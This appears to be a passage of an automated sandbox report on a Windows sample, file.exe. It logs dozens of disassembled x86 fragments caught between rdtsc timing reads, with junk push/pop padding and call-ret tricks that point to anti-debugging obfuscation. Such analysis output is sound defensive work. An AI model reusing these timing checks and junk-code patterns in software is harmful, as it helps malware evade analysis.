Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1B4E second address: 13BB5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD63h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F7E0935AD58h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D2DB4h], ecx 0x0000002f lea eax, dword ptr [ebp+1248467Fh] 0x00000035 jmp 00007F7E0935AD66h 0x0000003a nop 0x0000003b jng 00007F7E0935AD60h 0x00000041 pushad 0x00000042 push edx 0x00000043 pop edx 0x00000044 ja 00007F7E0935AD56h 0x0000004a popad 0x0000004b push eax 0x0000004c push ebx 0x0000004d jnl 00007F7E0935AD5Ch 0x00000053 pop ebx 0x00000054 nop 0x00000055 mov ch, 31h 0x00000057 call dword ptr [ebp+122D384Bh] 0x0000005d jc 00007F7E0935AD72h 0x00000063 push eax 0x00000064 push edx 0x00000065 je 00007F7E0935AD56h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1400E35 second address: 1400E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1400E39 second address: 1400E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140113C second address: 140114E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7E090B9408h 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F7E090B9406h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140114E second address: 1401152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14012AC second address: 14012B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14012B0 second address: 14012C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7E0935AD56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14012C2 second address: 14012C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14012C6 second address: 14012DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F7E0935AD5Ch 0x0000000f jne 00007F7E0935AD56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140156B second address: 140156F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140156F second address: 1401578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14016FF second address: 1401706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401835 second address: 1401839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401839 second address: 140184B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B940Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140184B second address: 1401867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F7E0935AD61h 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14049E1 second address: 14049E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14049E8 second address: 14049ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138900A second address: 1389020 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7E090B940Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007F7E090B9406h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389020 second address: 1389024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C88C second address: 140C89F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7E090B9406h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F7E090B9406h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C89F second address: 140C8B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F7E0935AD56h 0x00000010 js 00007F7E0935AD56h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B4AA second address: 140B4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jno 00007F7E090B9406h 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F7E090B9406h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B4BF second address: 140B4C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B4C3 second address: 140B4C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B61A second address: 140B620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B620 second address: 140B626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B626 second address: 140B636 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F7E0935AD56h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B636 second address: 140B640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7E090B9406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B940 second address: 140B950 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7E0935AD56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B950 second address: 140B95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7E090B9406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B95A second address: 140B960 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BC5F second address: 140BC73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B940Fh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BC73 second address: 140BC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C730 second address: 140C736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C736 second address: 140C758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7E0935AD56h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F7E0935AD63h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141313E second address: 1413144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413144 second address: 1413160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7E0935AD5Fh 0x0000000c jnp 00007F7E0935AD56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413160 second address: 1413174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B940Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411E52 second address: 1411E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7E0935AD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411E5C second address: 1411E6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7E090B940Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411E6C second address: 1411E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411E71 second address: 1411E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141244B second address: 1412462 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F7E0935AD56h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411BCA second address: 1411BD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418587 second address: 14185AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD68h 0x00000009 jns 00007F7E0935AD56h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14185AC second address: 14185D0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7E090B940Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7E090B9413h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418133 second address: 141814D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD63h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B51D second address: 141B537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9410h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B537 second address: 141B53D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141D9E4 second address: 141DA0A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F7E090B9416h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007F7E090B9406h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142095F second address: 1420970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142062C second address: 142064C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007F7E090B9408h 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7E090B940Bh 0x00000014 jc 00007F7E090B9406h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14261A8 second address: 14261AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14261AC second address: 14261B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14261B2 second address: 14261B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14261B9 second address: 14261BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424A99 second address: 1424A9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424A9F second address: 1424AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424AA3 second address: 1424AA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424BDB second address: 1424BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424D11 second address: 1424D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424D15 second address: 1424D26 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F7E090B9406h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424D26 second address: 1424D32 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007F7E0935AD56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424D32 second address: 1424D43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B940Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424EBB second address: 1424EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424EBF second address: 1424EC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424EC3 second address: 1424EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7E0935AD5Fh 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jl 00007F7E0935AD56h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142507B second address: 1425081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425081 second address: 1425087 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425087 second address: 142508D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142508D second address: 14250B8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7E0935AD76h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14251EA second address: 14251F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007F7E090B9406h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14251F8 second address: 142521C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F7E0935AD65h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142521C second address: 1425222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425222 second address: 1425227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1537 second address: 13D153B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D153B second address: 13D1545 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7E0935AD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1545 second address: 13D15EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9416h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F7E090B9408h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2E06h], esi 0x0000002a mov dx, 0004h 0x0000002e mov ebx, dword ptr [ebp+124846BEh] 0x00000034 add eax, ebx 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F7E090B9408h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 jmp 00007F7E090B940Bh 0x00000055 mov edx, 2D222222h 0x0000005a nop 0x0000005b pushad 0x0000005c push eax 0x0000005d push esi 0x0000005e pop esi 0x0000005f pop eax 0x00000060 jo 00007F7E090B941Eh 0x00000066 jmp 00007F7E090B9418h 0x0000006b popad 0x0000006c push eax 0x0000006d push esi 0x0000006e push esi 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14253B2 second address: 14253B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14254D0 second address: 14254E0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7E090B9406h 0x00000008 jnc 00007F7E090B9406h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14254E0 second address: 14254EA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7E0935AD62h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14254EA second address: 14254F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14254F0 second address: 142550C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7E0935AD5Ch 0x0000000a jl 00007F7E0935AD56h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F7E0935AD5Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142550C second address: 1425510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C5F7 second address: 142C600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C600 second address: 142C61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E090B9411h 0x00000009 pop esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C61E second address: 142C624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C624 second address: 142C655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7E090B9406h 0x0000000a popad 0x0000000b pushad 0x0000000c jc 00007F7E090B9406h 0x00000012 jmp 00007F7E090B9418h 0x00000017 jnl 00007F7E090B9406h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B88A second address: 142B894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7E0935AD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B894 second address: 142B898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B898 second address: 142B8C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD66h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F7E0935AD5Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B8C0 second address: 142B8C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BD7A second address: 142BD7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C1DC second address: 142C1E6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7E090B9412h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C1E6 second address: 142C1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431D74 second address: 1431D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7E090B9406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431D7E second address: 1431D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431D82 second address: 1431D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
